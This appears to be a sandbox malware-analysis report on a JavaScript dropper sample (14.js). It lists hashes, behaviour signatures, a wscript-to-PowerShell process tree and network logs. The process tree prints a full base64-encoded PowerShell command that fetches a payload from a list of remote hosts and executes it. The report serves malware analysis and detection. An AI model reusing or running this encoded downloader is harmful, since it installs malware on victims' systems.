Overview

overview

10

Static

static

1

½�...�/1.js

windows7-x64

10

½�...�/1.js

windows10-2004-x64

10

½�.../10.js

windows7-x64

8

½�.../10.js

windows10-2004-x64

8

½�.../11.js

windows7-x64

3

½�.../11.js

windows10-2004-x64

8

½�.../12.js

windows7-x64

8

½�.../12.js

windows10-2004-x64

8

½�.../13.js

windows7-x64

3

½�.../13.js

windows10-2004-x64

8

½�.../14.js

windows7-x64

3

½�.../14.js

windows10-2004-x64

8

½�.../15.js

windows7-x64

10

½�.../15.js

windows10-2004-x64

10

½�.../16.js

windows7-x64

10

½�.../16.js

windows10-2004-x64

10

½�.../17.js

windows7-x64

3

½�.../17.js

windows10-2004-x64

7

½�.../18.js

windows7-x64

3

½�.../18.js

windows10-2004-x64

7

½�.../19.js

windows7-x64

3

½�.../19.js

windows10-2004-x64

8

½�...�/2.js

windows7-x64

10

½�...�/2.js

windows10-2004-x64

10

½�.../20.js

windows7-x64

10

½�.../20.js

windows10-2004-x64

10

½�.../21.js

windows7-x64

1

½�.../21.js

windows10-2004-x64

1

½�.../22.js

windows7-x64

10

½�.../22.js

windows10-2004-x64

10

½�.../23.js

windows7-x64

3

½�.../23.js

windows10-2004-x64

8

Analysis

  • max time kernel
    135s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/10/2023, 03:57 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ½ļ/14.js

  • Size

    195KB

  • MD5

    14b73cdada934945bc57b7fccb4f5f74

  • SHA1

    fb6d32a46005109291311cc10290c1cc2c4079cd

  • SHA256

    4ecdf46b778a50a3e8b35bd5d6c24b73e256534bb0be11394b0bdf362ada6db7

  • SHA512

    150b9acea13f0a1a92cb0d72b906b70eabbdf465cdad402eb732ddab22689f1e2eef07f99d564b1b811baa4a39b74ac4f0ddb5fc9028b84140a6155bc9c52317

  • SSDEEP

    3072:zXb3mH3P3Swz8H4mRtOx2DQaeNL6TDxIjo:zXb3mHvZIm2DKwWo

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\½ļ\14.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\ProgramData\LanierIndifference.js" triptycaLooters HopbushChattermag unbelligerently
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABDAGEAcABpAHQAYQBsAFQAYQBzAHMAZQB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEARwBVAEEAWQB3AEIAeQBBAEcAVQBBAGQAQQBCAHYAQQBIAEkAQQBhAFEAQgBzAEEASABrAEEAVABnAEIAdgBBAEcANABBAFoAQQBCAGwAQQBIAFkAQQBhAFEAQgB2AEEASABVAEEAYwB3AEIAcwBBAEgAawBBAEwAZwBCAG0AQQBHAGsAQQBiAGcAQgBoAEEARwA0AEEAWQB3AEIAcABBAEcARQBBAGIAQQBBAD0AIgA7ACQAUwBlAHIAYQBjAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFMAQQBHAFUAQQBaAFEAQgB1AEEASABVAEEAYgBRAEIAbABBAEgASQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwA4AEEAYwBnAEEAPQByAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYQBRAEIAbQBBAEcAWQBBAFoAUQBCAHkAQQBHAFUAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEIAcwBBAEYASQBBAFoAUQBCAG0AQQBHADgAQQBjAGcAQgBrAEEAQwA0AEEAYwBnAEIAMQBBAEcANABBAHIAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBhAFEAQgB6AEEASABBAEEAYgBBAEIAaABBAEcATQBBAGEAUQBCAHUAQQBHAGMAQQBRAHcAQgB2AEEASABjAEEAWQBnAEIAcABBAEgASQBBAFoAQQBBAHUAQQBIAGMAQQBZAFEAQgAwAEEARwBNAEEAYQBBAEEAPQByAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABjAEEATgBnAEEAdQBBAEQARQBBAE4AZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABFAEEATABnAEEAeABBAEQAQQBBAE4AdwBBAD0AIgA7ACQAaQBuAHQAZQByAGYAcgBhAHQAZQByAG4AYQBsAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADMAQQBDADQAQQBOAFEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAUQBBAEwAZwBBAHgAQQBEAEkAQQBPAEEAQQA9AFEAWQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABFAEEATQBRAEEAeQBBAEMANABBAE0AUQBBAHkAQQBEAEEAQQBMAGcAQQB4AEEARABJAEEATgB3AEEAPQBRAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBJAEEAYgB3AEIAeQBBAEcANABBAGUAUQBCAHMAQQBFAE0AQQBlAFEAQgB1AEEARwBFAEEAYgBnAEIAagBBAEcAZwBBAGQAUQBCAHQAQQBDADQAQQBiAFEAQgBsAEEARwA0AEEAZABRAEEAPQBRAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATgBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAGcAQQB4AEEARABnAEEATABnAEEAeABBAEQAWQBBAE0AZwBBAD0AIgA7ACQAQQBtAGEAcgBhAG4AdABoAGEAYwBlAG8AdQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEcARQBBAGIAUQBCAHAAQQBHADQAQQBZAFEAQgAwAEEARwBrAEEAYgBnAEIAbgBBAEMANABBAGMAZwBCAGwAQQBIAE0AQQBkAEEAQgBoAEEASABVAEEAYwBnAEIAaABBAEcANABBAGQAQQBBAD0AUgBLAGkAbwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEkAQQBZAFEAQgB5AEEASABJAEEAYQBRAEIAegBBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBaAGcAQgBwAEEASABNAEEAYQBBAEIAcABBAEcANABBAFoAdwBBAD0AUgBLAGkAbwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBOAFEAQQB1AEEARABFAEEATgB3AEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA0AEEARABZAEEAIgA7ACQARwBvAGIAbABpAG4AaQBzAGgAQQBuAHQAZQBwAGUAYwB0AHUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMgBBAEcARQBBAGQAUQBCAGsAQQBHADgAQQBhAFEAQgB6AEEARgBRAEEAWgBRAEIAagBBAEcAZwBBAGIAZwBCAHAAQQBIAEEAQQBhAEEAQgB2AEEARwA0AEEAWgBRAEEAdQBBAEgAVQBBAGMAdwBBAD0AdgBhAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AQQBBADIAQQBDADQAQQBNAFEAQQB4AEEARABBAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAHUAQQBEAEUAQQBOAHcAQQAyAEEAQQA9AD0AdgBhAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AQQBBAHkAQQBDADQAQQBOAGcAQQAyAEEAQwA0AEEATQBRAEEAeABBAEQAVQBBAEwAZwBBAHgAQQBEAFUAQQBOAEEAQQA9AHYAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGwAQQBIAEEAQQBhAFEAQgB6AEEASABRAEEAYwBnAEIAdgBBAEgAQQBBAGEAQQBCAGwAQQBIAFUAQQBjAHcAQQB1AEEASABZAEEAWgBRAEIAMABBAEEAPQA9ACIAOwAkAEMAbwBmAGYAZQBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFUAQQBMAGcAQQB4AEEARABNAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBADEAQQBDADQAQQBNAFEAQQB4AEEARABnAEEATAB3AEIAbQBBAEcANABBAFkAdwBBAHYAQQBHAFkAQQBhAGcAQQAwAEEAQQA9AD0AegBwAGUATQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEEAQQBMAGcAQQB4AEEARABnAEEATgBnAEEAdQBBAEQAVQBBAE0AUQBBAHUAQQBEAFEAQQBNAHcAQQB2AEEARQB3AEEAVgB3AEEAdgBBAEcAVQBBAFIAZwBBAD0AegBwAGUATQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBPAFEAQQB5AEEAQwA4AEEAUwBnAEIAVQBBAEcAawBBAEwAdwBCAFEAQQBGAG8AQQBjAFEAQgBuAEEASABnAEEAVQBnAEIAQwBBAEcAWQBBAFoAUQBBAD0AegBwAGUATQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA0AEEAQwA4AEEATwBRAEIARABBAEcAMABBAE8AUQBCAEYAQQBGAGMAQQBMAHcAQgBOAEEARgBrAEEAZQBBAEIANQBBAEgAbwBBAGQAZwBCAFMAQQBGAFkAQQBaAEEAQgBWAEEARQAwAEEATgBnAEEAPQB6AHAAZQBNAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAVQBBAE0AUQBBAHUAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEAMABBAEMANABBAE0AUQBBADMAQQBEAGsAQQBMAHcAQgBFAEEARwBVAEEAYQB3AEIAUABBAEYAQQBBAFoAdwBBAHYAQQBFAFUAQQBkAFEAQgBMAEEARgBNAEEAYwBBAEEANQBBAEcAZwBBAFEAdwBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQATQBhAHIAaQBuAG8AcgBhAG0AYQBLAG4AYQBwAHAAZQByACAAaQBuACAAJABDAG8AZgBmAGUAZQBzACAALQBzAHAAbABpAHQAIAAiAHoAcABlAE0AIgApACAAewAkAGQAaQBsAGUAbQBtAGEAdABpAGMAYQBsAEQAZQBzAHQAYQBsAGkAbgBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgARQBBAGQAUQBCAGwAQQBHADAAQQBaAFEAQgBtAEEASABVAEEAYgBBAEIAcwBBAEgAawBBAEwAZwBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAG0AaQBuAHkAYQBuAHMAQQBuAGQAcgBvAHMAcABoAGkAbgBnAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAQQBBAE0AZwBBAHUAQQBEAGsAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAdwBBAEMANABBAE4AdwBBAHkAQQBBAD0APQAiADsAdAByAHkAIAB7ACQAcABhAHIAaQBzAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAUQBBAFkAUQBCADAAQQBHAEUAQQBiAEEAQQB1AEEARwBFAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHQAQQBIAGsAQQBqAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABRAEEATABnAEEANABBAEQATQBBAEwAZwBBAHkAQQBEAEEAQQBNAEEAQQB1AEEARABJAEEATQBRAEEAeQBBAEEAPQA9AGoAUwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBHAGsAQQBiAGcAQgB1AEEASABVAEEAYgBBAEIAaABBAEgASQBBAEwAZwBCAHcAQQBIAEkAQQBiAHcAQQA9ACIAOwAkAG8AcgBuAGEAbQBlAG4AdABhAGwAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE0AYQByAGkAbgBvAHIAYQBtAGEASwBuAGEAcABwAGUAcgApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG8AcgBuAGEAbQBlAG4AdABhAGwAbAB5ACAALQBPACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE8AdQB0AHcAYQB2AGUAZAAuAEgAeQBkAG4AdQBtADsAJABzAHQAbwBsAHoAaQB0AGUAUwBvAG0AZQBiAG8AZAB5AGwAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBAHcAQQBDADQAQQBNAFEAQQAzAEEARABjAEEATABnAEEAeABBAEQAQQBBAE4AUQBBAHUAQQBEAFUAQQBNAHcAQQA9AHMAUABrAEcAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABVAEEAYgBnAEIAMwBBAEcAawBBAGQAZwBCAGwAQQBDADQAQQBhAHcAQgBwAEEASABjAEEAYQBRAEEAPQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABPAHUAdAB3AGEAdgBlAGQALgBIAHkAZABuAHUAbQApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQA0ADQANwA1ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQA4AEEAZABRAEIAMABBAEgAYwBBAFkAUQBCADIAQQBHAFUAQQBaAEEAQQB1AEEARQBnAEEAZQBRAEIAawBBAEcANABBAGQAUQBCAHQAQQBDAHcAQQBkAGcAQgBwAEEASABBAEEAYwB3AEEANwBBAEUAMABBAFMAUQBCAFUAQQBFAHcAQQBhAFEAQgBqAEEARwBVAEEAYgBnAEIAegBBAEcAVQBBACIAOwAkAEMAYQBtAGkAcwBvAGwAZQBIAG8AbwBwAG8AZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQB3AEEAWQBRAEIAagBBAEgAUQBBAGIAdwBCAHcAQQBHAGcAQQBiAHcAQgB6AEEASABBAEEAYQBBAEIAaABBAEgAUQBBAFoAUQBBAHUAQQBIAFEAQQBZAFEAQgAwAEEASABRAEEAYgB3AEIAdgBBAEEAPQA9AG8AeABsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYwB3AEIAegBBAEcAOABBAFkAdwBCAHAAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAcABBAEgATQBBAGQAQQBCAFEAQQBIAEkAQQBaAFEAQgBwAEEARwA0AEEAWgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwA0AEEAWQBRAEIAagBBAEcARQBBAFoAQQBCAGwAQQBHADAAQQBlAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7ACQAcwBjAGgAbwBvAGwAbQBhAHMAdABlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAEEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAVQBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB1AEEARABRAEEATgBBAEEAPQAiADsAJABnAGUAbgB0AGkAYQBuAGEAYwBlAGEAZQBFAHgAYwB1AGIAaQB0AG8AcgBpAHUAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE4AUQBBAHUAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATQB3AEEAdwBBAEMANABBAE4AdwBBADMAQQBBAD0APQAiADsAJABwAGUAcgBmAG8AcgBhAHQAaQBuAGcAVgBpAHMAdQBhAGwAaQB6AGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMQBBAEQAVQBBAEwAZwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABZAEEATgBBAEEAdQBBAEQARQBBAE4AUQBBAHgAQQBBAD0APQBiAEkAYwBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGEAUQBCAGgAQQBHADQAQQBiAGcAQgBsAEEASABRAEEAVQB3AEIAagBBAEcAZwBBAGEAUQBCADYAQQBHADgAQQBaAHcAQgB2AEEARwA0AEEAYQBRAEIAagBBAEMANABBAGQAQQBCAHYAQQBBAD0APQBiAEkAYwBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYASQBBAGIAdwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEASABNAEEAZABBAEIATgBBAEcAawBBAGIAZwBCAGgAQQBIAFEAQQBiAHcAQgB5AEEARwBrAEEAWQBRAEIAcwBBAEMANABBAGMAdwBCAHAAQQBHADQAQQBaAHcAQgBzAEEARwBVAEEAYwB3AEEAPQBiAEkAYwBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAcwBBAEcAawBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdABBAEUARQBBAGMAZwBCAGoAQQBHAGcAQQBiAEEAQgBsAEEASABnAEEAYQBRAEIAagBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBjAEEAQgBvAEEARwBVAEEAYwBnAEEAdQBBAEcAYwBBAFkAUQBCAHQAQQBHAFUAQQAiADsAfQB9ACQAbgBvAG4AYQBxAHUAYQB0AGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE4AQQBBAHUAQQBEAGcAQQBOAHcAQQB1AEEARABRAEEATgBBAEEAdQBBAEQARQBBAE4AZwBBAHgAQQBBAD0APQBzAEIATQB5AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAawBBAGMAdwBCAGoAQQBHADgAQQBiAGcAQgAwAEEARwBVAEEAYgBnAEIAMABBAEMANABBAGQAQQBCAHAAQQBIAEkAQQBaAFEAQgB6AEEAQQA9AD0AcwBCAE0AeQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAHcAQQBkAFEAQgB1AEEARwBNAEEAYQBBAEIAbABBAEcAOABBAGIAZwBCAGwAQQBIAFEAQQBkAEEAQgBsAEEASABNAEEAVABRAEIAbABBAEcANABBAGQAQQBCAG8AQQBHAEUAQQBZAHcAQgBsAEEARwBFAEEAWgBRAEEAdQBBAEcATQBBAGUAQQBBAD0AIgA7AA=="
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2056

Network

  • flag-us
    DNS
    2.136.104.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    2.136.104.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    26.35.223.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.35.223.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    158.240.127.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    158.240.127.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    tse1.mm.bing.net
    Remote address:
    8.8.8.8:53
    Request
    tse1.mm.bing.net
    IN A
    Response
    tse1.mm.bing.net
    IN CNAME
    mm-mm.bing.net.trafficmanager.net
    mm-mm.bing.net.trafficmanager.net
    IN CNAME
    dual-a-0001.a-msedge.net
    dual-a-0001.a-msedge.net
    IN A
    204.79.197.200
    dual-a-0001.a-msedge.net
    IN A
    13.107.21.200
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301472_1VUKM758MEAZ9E285&pid=21.2&w=1080&h=1920&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301472_1VUKM758MEAZ9E285&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 408529
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 84727666D7874C0389AA37F28775E5FF Ref B: BRU30EDGE0817 Ref C: 2023-10-14T03:58:53Z
    date: Sat, 14 Oct 2023 03:58:53 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301025_159EZPKLFPK71SUGC&pid=21.2&w=1920&h=1080&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301025_159EZPKLFPK71SUGC&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 299738
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 45CC4133AEE743E5A18A19B18CD30ACF Ref B: BRU30EDGE0817 Ref C: 2023-10-14T03:58:53Z
    date: Sat, 14 Oct 2023 03:58:53 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301101_17QUECVB8G2ENL5IH&pid=21.2&w=1920&h=1080&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301101_17QUECVB8G2ENL5IH&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 272652
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: BB4B81BB3A26441AB97FFEE546079BFA Ref B: BRU30EDGE0817 Ref C: 2023-10-14T03:58:53Z
    date: Sat, 14 Oct 2023 03:58:53 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301039_13Z9BFIH4MFB25MGU&pid=21.2&w=1920&h=1080&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301039_13Z9BFIH4MFB25MGU&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 307641
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 26896C6F9D82451B9F96AC35E72E43FB Ref B: BRU30EDGE0817 Ref C: 2023-10-14T03:58:53Z
    date: Sat, 14 Oct 2023 03:58:53 GMT
  • flag-us
    GET
